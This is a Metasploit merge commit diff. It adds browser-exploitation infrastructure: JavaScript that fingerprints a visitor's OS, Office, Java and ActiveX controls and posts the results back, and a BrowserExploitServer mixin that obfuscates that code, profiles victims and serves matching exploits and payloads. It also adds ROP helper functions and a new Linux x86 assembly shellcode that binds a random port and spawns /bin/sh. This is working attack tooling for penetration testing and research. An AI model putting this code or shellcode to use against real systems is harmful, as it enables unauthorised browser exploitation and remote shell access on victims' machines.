Solve conflicts with aladdin_choosefilepath_bof

bug/bundler_fix
jvazquez-r7 2013-11-12 23:11:42 -06:00
commit 8771b163f0
29 changed files with 1919 additions and 597 deletions

View File

@ -1,9 +1,47 @@
window.addons_detect = { };
window.ie_addons_detect = { };
/**
* Returns true if this ActiveX is available, otherwise false.
* Grabbed this directly from browser_autopwn.rb
**/
window.ie_addons_detect.hasActiveX = function (axo_name, method) {
var axobj = null;
if (axo_name.substring(0,1) == String.fromCharCode(123)) {
axobj = document.createElement("object");
axobj.setAttribute("classid", "clsid:" + axo_name);
axobj.setAttribute("id", axo_name);
axobj.setAttribute("style", "visibility: hidden");
axobj.setAttribute("width", "0px");
axobj.setAttribute("height", "0px");
document.body.appendChild(axobj);
if (typeof(axobj[method]) == 'undefined') {
var attributes = 'id="' + axo_name + '"';
attributes += ' classid="clsid:' + axo_name + '"';
attributes += ' style="visibility: hidden"';
attributes += ' width="0px" height="0px"';
document.body.innerHTML += "<object " + attributes + "></object>";
axobj = document.getElementById(axo_name);
}
} else {
try {
axobj = new ActiveXObject(axo_name);
} catch(e) {
// If we can't build it with an object tag and we can't build it
// with ActiveXObject, it can't be built.
return false;
};
}
if (typeof(axobj[method]) != 'undefined') {
return true;
}
return false;
};
/**
* Returns the version of Microsoft Office. If not found, returns null.
**/
window.addons_detect.getMsOfficeVersion = function () {
window.ie_addons_detect.getMsOfficeVersion = function () {
var version;
var types = new Array();
for (var i=1; i <= 5; i++) {

View File

@ -0,0 +1,64 @@
window.misc_addons_detect = { };
/**
* Returns the Java version
**/
window.misc_addons_detect.getJavaVersion = function () {
var foundVersion = null;
//
// This finds the Java version from Java WebStart's ActiveX control
// This is specific to Windows
//
for (var i1=0; i1 < 10; i1++) {
for (var i2=0; i2 < 10; i2++) {
for (var i3=0; i3 < 10; i3++) {
for (var i4=0; i4 < 10; i4++) {
var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4);
var progId = "JavaWebStart.isInstalled." + version;
try {
new ActiveXObject(progId);
return version;
}
catch (e) {
continue;
}
}}}}
//
// This finds the Java version from window.navigator.mimeTypes
// This seems to work pretty well for most browsers except for IE
//
if (foundVersion == null) {
var mimes = window.navigator.mimeTypes;
for (var i=0; i<mimes.length; i++) {
var m = /java.+;version=(.+)/.exec(mimes[i].type);
if (m) {
var version = parseFloat(m[1]);
if (version > foundVersion) {
foundVersion = version;
}
}
}
}
//
// This finds the Java version from navigator plugins
// This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one.
// So we do this last.
//
if (foundVersion == null) {
var foundJavaString = "";
var pluginsCount = navigator.plugins.length;
for (i=0; i < pluginsCount; i++) {
var pluginName = navigator.plugins[i].name;
var pluginVersion = navigator.plugins[i].version;
if (/Java/.test(pluginName) && pluginVersion != undefined) {
foundVersion = navigator.plugins[i].version;
break;
}
}
}
return foundVersion;
}

View File

@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){
os_flavor = "7";
os_sp = "SP1";
break;
case "10016720":
// IE 10.0.9200.16721 / Windows 7 SP1
ua_version = "10.0";
os_flavor = "7";
os_sp = "SP1";
break;
case "1000":
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
ua_version = "10.0";

View File

@ -1,25 +1,16 @@
function ajax_download(oArg) {
var method = oArg.method;
var path = oArg.path;
var data = oArg.data;
if (!oArg.method) { oArg.method = "GET"; }
if (!oArg.path) { throw "Missing parameter 'path'"; }
if (!oArg.data) { oArg.data = null; }
if (method == undefined) { method = "GET"; }
if (method == path) { throw "Missing parameter 'path'"; }
if (data == undefined) { data = null; }
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open(method, path, false);
xmlHttp.send(data);
xmlHttp.open(oArg.method, oArg.path, false);
xmlHttp.send(oArg.data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}

View File

@ -0,0 +1,10 @@
function postInfo(path, data) {
var xmlHttp = new XMLHttpRequest();
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open('POST', path, false);
xmlHttp.send(data);
}

View File

@ -0,0 +1,15 @@
if (!window.XMLHTTPRequest) {
(function() {
var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"];
for (idx = 0; idx < activeObjs.length; idx++) {
try {
new ActiveXObject(activeObjs[idx]);
window.XMLHttpRequest = function() {
return new ActiveXObject(activeObjs[idx]);
};
break;
}
catch (e) {}
}
})();
}

View File

@ -1,10 +1,11 @@
STAGERS=stager_sock_bind stager_sock_bind6 stager_sock_bind_udp stager_sock_bind_icmp \
stager_egghunt stager_sock_find stager_sock_reverse \
stager_sock_reverse_icmp stager_sock_reverse_udp \
stager_egghunt stager_sock_find stager_sock_reverse \
stager_sock_reverse_icmp stager_sock_reverse_udp \
stager_sock_reverse_udp_dns
STAGES=stage_tcp_shell stage_udp_shell
SINGLE=single_adduser single_bind_tcp_shell single_find_tcp_shell \
single_reverse_tcp_shell single_reverse_udp_shell single_exec
single_reverse_tcp_shell single_reverse_udp_shell single_exec \
single_shell_bind_tcp_random_port
OBJS=${STAGERS} ${STAGES} ${SINGLE}
@ -37,11 +38,11 @@ all: $(SINGLE) $(STAGES) $(STAGERS)
@ruby -p -a -e ' \
$$F.shift; \
$$F[0].tap { |s| \
s.tr! "A-F", "a-f"; \
t=s.dup; \
s.clear; \
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
STDIN.eof? ? s<< " # " : s<< "+# "; \
s.tr! "A-F", "a-f"; \
t=s.dup; \
s.clear; \
s<<("\""+t.scan(/../).map{|b|"\\x#{b}"}.join+"\"").ljust(23); \
STDIN.eof? ? s<< " # " : s<< "+# "; \
}; \
$$_ = $$F.join(" ") + "\n"; \
' < $*.tmp > $@

View File

@ -0,0 +1,117 @@
;;
;
; Name: single_shell_bind_tcp_random
; Qualities: None
; Platforms: Linux
; Author: Geyslan G. Bem <geyslan@gmail.com>
; License: BSD 3-Clause
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Listen for a connection in a random port and spawn a
; command shell.
; Use nmap to discover the open port: 'nmap -sS target -p-'.
; Repo source: http://goo.gl/V5OObo
;
;;
bits 32
global _start
section .text
_start:
; Avoiding garbage
; Putting zero in three registers (eax, ebx and edx), search about mul instruction for understanding
xor ebx, ebx
mul ebx
; syscalls (/usr/include/asm/unistd_32.h)
; socketcall numbers (/usr/include/linux/net.h)
; Creating the socket file descriptor
; int socket(int domain, int type, int protocol);
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov al, 102 ; syscall 102 - socketcall
inc ebx ; socketcall type (sys_socket 1)
; socket arguments (bits/socket.h, netinet/in.h)
push edx ; IPPROTO_IP = 0 (int)
push ebx ; SOCK_STREAM = 1 (int)
push 2 ; AF_INET = 2 (int)
mov ecx, esp ; ptr to argument array
int 0x80 ; kernel interruption
; Preparing to listen the incoming connection (passive socket)
; int listen(int sockfd, int backlog);
; listen(sockfd, int);
; listen arguments
push edx ; put zero
push eax ; put the file descriptor returned by socket()
mov ecx, esp ; ptr to argument array
mov al, 102 ; syscall 102 - socketcall
mov bl, 4 ; socketcall type (sys_listen 4)
int 0x80 ; kernel interruption
; Accepting the incoming connection
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; accept(sockfd, NULL, NULL)
mov al, 102 ; syscall 102 - socketcall
inc ebx ; socketcall type (sys_accept 5)
; accept arguments ; here we just don't need do nothing, the ecx already points to sockfd, NULL and 2
; you ask me: but the correct isn't sockfd, NULL, NULL? Well, 'man accept' to figure out ;D)
int 0x80 ; kernel interruption
; Creating a interchangeably copy of the 3 file descriptors (stdin, stdout, stderr)
; int dup2(int oldfd, int newfd);
; dup2(clientfd, ...)
pop ecx ; pop the sockfd integer to use as the loop counter ecx
xchg ebx, eax ; swapping registers values to put the accepted sockfd (client) in ebx as argument in next syscall (dup2)
dup_loop:
push 63 ; syscall 63 - dup2
pop eax
int 0x80 ; kernel interruption
dec ecx ; file descriptor and loop counter
jns dup_loop
; Finally, using execve to substitute the actual process with /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
; exevcve("/bin/sh", NULL, NULL)
mov al, 11 ; execve syscall
; execve string argument
; stack already contains NULL on top
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ptr to "/bin//sh" string
inc ecx ; zero to argv
; zero to envp (edx)
int 0x80

View File

@ -149,6 +149,9 @@ module Exploit::Remote::HttpServer
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
#
# TODO: This must be able to take an SSL parameter and not rely
# completely on the datastore. (See dlink_upnp_exec_noauth)
def start_service(opts = {})
check_dependencies
@ -172,7 +175,7 @@ module Exploit::Remote::HttpServer
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
datastore['SSL'], # XXX: Should be in opts, need to test this
{
'Msf' => framework,
'MsfExploit' => self,
@ -678,14 +681,6 @@ protected
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML)
# Cache Javascript
@cache_base64 = nil
@cache_ajax_download = nil
@cache_mstime_malloc = nil
@cache_property_spray = nil
@cache_heap_spray = nil
@cache_os_detect = nil
end
#
@ -744,6 +739,14 @@ protected
end
#
# Transfers data using a POST request
#
def js_ajax_post
@cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post
end
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
@ -813,6 +816,14 @@ protected
@cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os
end
def js_ie_addons_detect
@cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons
end
def js_misc_addons_detect
@cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.

View File

@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm'
# WebApp
require 'msf/core/exploit/web'
require 'msf/core/exploit/remote/browser_exploit_server'

View File

@ -0,0 +1,503 @@
# -*- coding: binary -*-
require 'erb'
require 'rex/exploitation/js'
###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
#
###
module Msf
module Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
PROXY_REQUEST_HEADER_SET = Set.new(
%w{
CLIENT_IP
FORWARDED
FORWARDED_FOR
FORWARDED_FOR_IP
HTTP_CLIENT_IP
HTTP_FORWARDED
HTTP_FORWARDED_FOR
HTTP_FORWARDED_FOR_IP
HTTP_PROXY_CONNECTION
HTTP_VIA
HTTP_X_FORWARDED
HTTP_X_FORWARDED_FOR
VIA
X_FORWARDED
X_FORWARDED_FOR
})
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = {
:source => 'source', # Either 'script' or 'headers'
:ua_name => 'ua_name', # Example: MSIE
:ua_ver => 'ua_ver', # Example: 8.0, 9.0
:os_name => 'os_name', # Example: Microsoft Windows
:os_flavor => 'os_flavor', # Example: XP, 7
:language => 'language', # Example: en-us
:arch => 'arch', # Example: x86
:proxy => 'proxy', # 'true' or 'false'
:office => 'office', # Example: "2007", "2010"
:java => 'java', # Example: 1.6, 1.6.0.0
:clsid => 'clsid', # ActiveX clsid. Also requires the :method key
:method => 'method' # ActiveX method. Also requires the :clsid key
}
def initialize(info={})
super
# The mixin keeps 'target' so module doesn't lose it.
@target = target
# See get_profile's documentation to understand what @target_profiles stores
@target_profiles = {}
# Requirements are conditions that the browser must have in order to be exploited.
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
@info_receiver_page = rand_text_alpha(5)
@exploit_receiver_page = rand_text_alpha(6)
@noscript_receiver_page = rand_text_alpha(7)
register_options(
[
OptBool.new('Retries', [false, "Allow the browser to retry the module", true])
], Exploit::Remote::BrowserExploitServer)
end
#
# Syncs a block of code
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
targets.each do |t|
target_requirements = extract_requirements(t.opts)
if target_requirements.blank?
match_counts << 0
else
match_counts << target_requirements.select { |k,v|
if v.class == Regexp
profile[k] =~ v
else
profile[k] == v
end
}.length
end
end
if match_counts.max.to_i > 0
@target = targets[match_counts.index(match_counts.max)]
target_requirements = extract_requirements(@target.opts)
unless target_requirements.blank?
@requirements = @requirements.merge(target_requirements)
end
end
end
#
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
if v.class == Regexp
bad_reqs << k if profile[k.to_sym] !~ v
else
bad_reqs << k if profile[k.to_sym] != v
end
end
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie' =>
# {
# :os_name => 'Windows',
# :os_flavor => 'something'
# ...... etc ......
# }
# A profile should at least have info about the following:
# :source : The data source. Either from 'script', or 'headers'. The 'script' source
# should be more accurate in some scenarios like browser compatibility mode
# :ua_name : The name of the browser
# :ua_ver : The version of the browser
# :os_name : The name of the OS
# :os_flavor : The flavor of the OS (example: XP)
# :language : The system's language
# :arch : The system's arch
# :proxy : Indicates whether proxy is used
#
# For more info about what the actual value might be for each key, see HttpServer.
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'java' : The Java version
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] = {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(request)
tag = request.headers['Cookie'].to_s
if tag.blank?
# Browser probably doesn't allow cookies, plan B :-/
ip = cli.peerhost
os = request.headers['User-Agent']
tag = Rex::Text.md5("#{ip}#{os}")
end
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(request)
# Browser doesn't allow cookies. Can't track that, use a different way to track.
init_profile(tag) if request.headers['Cookie'].blank?
target_info = get_profile(tag)
# Gathering target info from the detection stage
case source
when :script
# Gathers target data from a POST request
update_profile(target_info, :source, 'script')
raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body))
raw.split('&').each do |item|
k, v = item.scan(/(\w+)=(.*)/).flatten
update_profile(target_info, k.to_sym, v)
end
when :headers
# Gathers target data from headers
# This may be less accurate, and most likely less info.
fp = fingerprint_user_agent(request.headers['User-Agent'])
# Module has all the info it needs, ua_string is kind of pointless.
# Kill this to save space.
fp.delete(:ua_string)
update_profile(target_info, :source, 'headers')
fp.each do |k, v|
update_profile(target_info, k.to_sym, v)
end
end
# Other detections
update_profile(target_info, :proxy, has_proxy?(request))
update_profile(target_info, :language, request.headers['Accept-Language'] || '')
report_client({
:host => cli.peerhost,
:ua_string => request.headers['User-Agent'],
:ua_name => target_info[:ua_name],
:ua_ver => target_info[:ua_ver]
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
client = ua_info[:ua_name]
code = ERB.new(%Q|
<%= js_base64 %>
<%= js_os_detect %>
<%= js_ajax_post %>
<%= js_misc_addons_detect %>
<%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
function objToQuery(obj) {
var q = [];
for (var key in obj) {
q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));
}
return Base64.encode(q.join('&'));
}
window.onload = function() {
var osInfo = window.os_detect.getVersion();
var d = {
"<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name,
"<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor,
"<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name,
"<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version,
"<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch,
"<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion()
};
<% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %>
d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
%>
d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
<% end %>
<% end %>
var query = objToQuery(d);
postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query);
window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/";
}
|).result(binding())
js = ::Rex::Exploitation::JSObfu.new code
js.obfuscate
%Q|
<script>
#{js}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
<meta http-equiv="refresh" content="1; url=#{get_resource.chomp("/")}/#{@exploit_receiver_page}/">
</noscript>
|
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when get_resource.chomp("/")
#
# This is the information gathering stage
#
if get_profile(retrieve_tag(request))
send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}")
return
end
print_status("Gathering target information.")
tag = Rex::Text.rand_text_alpha(rand(20) + 5)
ua = request.headers['User-Agent']
init_profile(tag)
html = get_detection_html(ua)
send_response(cli, html, {'Set-Cookie' => tag})
when /#{@info_receiver_page}/
#
# The detection code will hit this if Javascript is enabled
#
process_browser_info(source=:script, cli, request)
send_response(cli, '')
when /#{@noscript_receiver_page}/
#
# The detection code will hit this instead of Javascript is disabled
# Should only be triggered by the img src in <noscript>
#
process_browser_info(source=:headers, cli, request)
send_not_found(cli)
when /#{@exploit_receiver_page}/
#
# This sends the actual exploit. A module should define its own
# on_request_exploit() to get the target information
#
tag = retrieve_tag(request)
profile = get_profile(tag)
if profile[:tried] and datastore['Retries'] == false
print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.")
send_not_found(cli)
else
update_profile(profile, :tried, true)
try_set_target(profile)
bad_reqs = get_bad_requirements(profile)
if bad_reqs.empty?
method(:on_request_exploit).call(cli, request, profile)
else
print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}")
send_not_found(cli)
end
end
else
send_not_found(cli)
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
# @param template [String] The ERB template. If you want to pass the binding object,
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
html = ERB.new(template[0]).result(template[1])
else
html = ERB.new(template).result
end
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
# Fix names for consisntecy so our API can find the right one
# Originally defined in lib/msf/core/constants.rb
platform = platform.gsub(/^Mac OS X$/, 'OSX')
platform = platform.gsub(/^Microsoft Windows$/, 'Windows')
regenerate_payload(cli, platform, arch).encoded
end
end
end

View File

@ -31,5 +31,13 @@ module Exploit::RopDb
return rop_payload
end
def rop_junk
rand_text_alpha(4).unpack("V")[0].to_i
end
def rop_nop
make_nops(4).unpack("V")[0].to_i
end
end
end

View File

@ -39,13 +39,25 @@ class Detect
#
# Provides javascript functions to determine addon information.
# Provides javascript functions to determine IE addon information.
#
# getMsOfficeVersion(): Returns the version for Microsoft Office
#
def self.addons(custom_js = '')
def self.ie_addons(custom_js = '')
js = custom_js
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "addons.js"))
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "ie_addons.js"))
Rex::Exploitation::JSObfu.new(js)
end
#
# Provides javascript functions that work for all browsers to determine addon information
#
# getJavaVersion(): Returns the Java version
#
def self.misc_addons(custom_js = '')
js = custom_js
js << ::File.read(::File.join(Msf::Config.data_directory, "js", "detect", "misc_addons.js"))
Rex::Exploitation::JSObfu.new(js)
end

View File

@ -11,15 +11,71 @@ module Js
#
class Network
def self.ajax_download
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
# defaults to true.
# @return [String] javascript code to perform a synchronous ajax request to the remote
# and returns the response
def self.ajax_download(opts={})
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_download.js"))
::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ xmlHttp }
}
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ xmlHttp oArg }
}
}).obfuscate
end
xhr_shim(opts) + js
end
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed.
# defaults to true.
# @return [String] javascript code to perform a synchronous ajax request to the remote with
# the data specified
def self.ajax_post(opts={})
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js"))
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ xmlHttp }
}
}).obfuscate
end
xhr_shim(opts) + js
end
# @param [Hash] opts the options hash
# @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true.
# @option opts [Boolean] :inject_xhr_shim false causes this method to return ''. defaults to true.
# @return [String] javascript code that adds XMLHttpRequest to the global scope if it
# does not exist (e.g. on IE6, where you have to use the ActiveXObject constructor)
def self.xhr_shim(opts={})
return '' unless opts.fetch(:inject_xhr_shim, true)
should_obfuscate = opts.fetch(:obfuscate, true)
js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "xhr_shim.js"))
if should_obfuscate
js = ::Rex::Exploitation::ObfuscateJS.new(js,
{
'Symbols' => {
'Variables' => %w{ activeObjs idx }
}
}
).obfuscate
end
js
end
end

View File

@ -1,440 +1,441 @@
# -*- coding: binary -*-
# sf - Sept 2010
#
require 'thread'
require 'rex/logging'
require 'rex/socket'
module Rex
module Proto
module Proxy
#
# A Socks4a proxy server.
#
class Socks4a
#
# A client connected to the Socks4a server.
#
class Client
REQUEST_VERSION = 4
REPLY_VERSION = 0
COMMAND_CONNECT = 1
COMMAND_BIND = 2
REQUEST_GRANTED = 90
REQUEST_REJECT_FAILED = 91
REQUEST_REJECT_CONNECT = 92
REQUEST_REJECT_USERID = 93
HOST = 1
PORT = 2
#
# A Socks4a packet.
#
class Packet
def initialize
@version = REQUEST_VERSION
@command = 0
@dest_port = 0
@dest_ip = '0.0.0.0'
@userid = ''
end
#
# A helper function to recv in a Socks4a packet byte by byte.
#
# sf: we could just call raw = sock.get_once but some clients
# seem to need reading this byte by byte instead.
#
def Packet.recv( sock, timeout=30 )
raw = ''
# read in the 8 byte header
while( raw.length < 8 )
raw << sock.read( 1 )
end
# if its a request there will be more data
if( raw[0..0].unpack( 'C' ).first == REQUEST_VERSION )
# read in the userid
while( raw[8..raw.length].index( "\x00" ) == nil )
raw << sock.read( 1 )
end
# if a hostname is going to be present, read it in
ip = raw[4..7].unpack( 'N' ).first
if( ( ip & 0xFFFFFF00 ) == 0x00000000 and ( ip & 0x000000FF ) != 0x00 )
hostname = ''
while( hostname.index( "\x00" ) == nil )
hostname += sock.read( 1 )
end
raw << hostname
end
end
# create a packet from this raw data...
packet = Packet.new
packet.from_r( raw ) ? packet : nil
end
#
# Pack a packet into raw bytes for transmitting on the wire.
#
def to_r
raw = [ @version, @command, @dest_port, Rex::Socket.addr_atoi( @dest_ip ) ].pack( 'CCnN' )
return raw if( @userid.empty? )
return raw + [ @userid ].pack( 'Z*' )
end
#
# Unpack a raw packet into its components.
#
def from_r( raw )
return false if( raw.length < 8 )
@version = raw[0..0].unpack( 'C' ).first
return false if( @version != REQUEST_VERSION and @version != REPLY_VERSION )
@command = raw[1..1].unpack( 'C' ).first
@dest_port = raw[2..3].unpack( 'n' ).first
@dest_ip = Rex::Socket.addr_itoa( raw[4..7].unpack( 'N' ).first )
if( raw.length > 8 )
@userid = raw[8..raw.length].unpack( 'Z*' ).first
# if this is a socks4a request we can resolve the provided hostname
if( self.is_hostname? )
hostname = raw[(8+@userid.length+1)..raw.length].unpack( 'Z*' ).first
@dest_ip = self.resolve( hostname )
# fail if we couldnt resolve the hostname
return false if( not @dest_ip )
end
else
@userid = ''
end
return true
end
def is_connect?
@command == COMMAND_CONNECT ? true : false
end
def is_bind?
@command == COMMAND_BIND ? true : false
end
attr_accessor :version, :command, :dest_port, :dest_ip, :userid
protected
#
# Resolve the given hostname into a dotted IP address.
#
def resolve( hostname )
if( not hostname.empty? )
begin
return Rex::Socket.addr_itoa( Rex::Socket.gethostbyname( hostname )[3].unpack( 'N' ).first )
rescue ::SocketError
return nil
end
end
return nil
end
#
# As per the Socks4a spec, check to see if the provided dest_ip is 0.0.0.XX
# which indicates after the @userid field contains a hostname to resolve.
#
def is_hostname?
ip = Rex::Socket.addr_atoi( @dest_ip )
if( ip & 0xFFFFFF00 == 0x00000000 )
return true if( ip & 0x000000FF != 0x00 )
end
return false
end
end
#
# A mixin for a socket to perform a relay to another socket.
#
module Relay
#
# Relay data coming in from relay_sock to this socket.
#
def relay( relay_client, relay_sock )
@relay_client = relay_client
@relay_sock = relay_sock
# start the relay thread (modified from Rex::IO::StreamAbstraction)
@relay_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServerRelay", false) do
loop do
closed = false
buf = nil
begin
s = Rex::ThreadSafe.select( [ @relay_sock ], nil, nil, 0.2 )
if( s == nil || s[0] == nil )
next
end
rescue
closed = true
end
if( closed == false )
begin
buf = @relay_sock.sysread( 32768 )
closed = true if( buf == nil )
rescue
closed = true
end
end
if( closed == false )
total_sent = 0
total_length = buf.length
while( total_sent < total_length )
begin
data = buf[total_sent, buf.length]
sent = self.write( data )
if( sent > 0 )
total_sent += sent
end
rescue
closed = true
break
end
end
end
if( closed )
@relay_client.stop
::Thread.exit
end
end
end
end
end
#
# Create a new client connected to the server.
#
def initialize( server, sock )
@server = server
@lsock = sock
@rsock = nil
@client_thread = nil
@mutex = ::Mutex.new
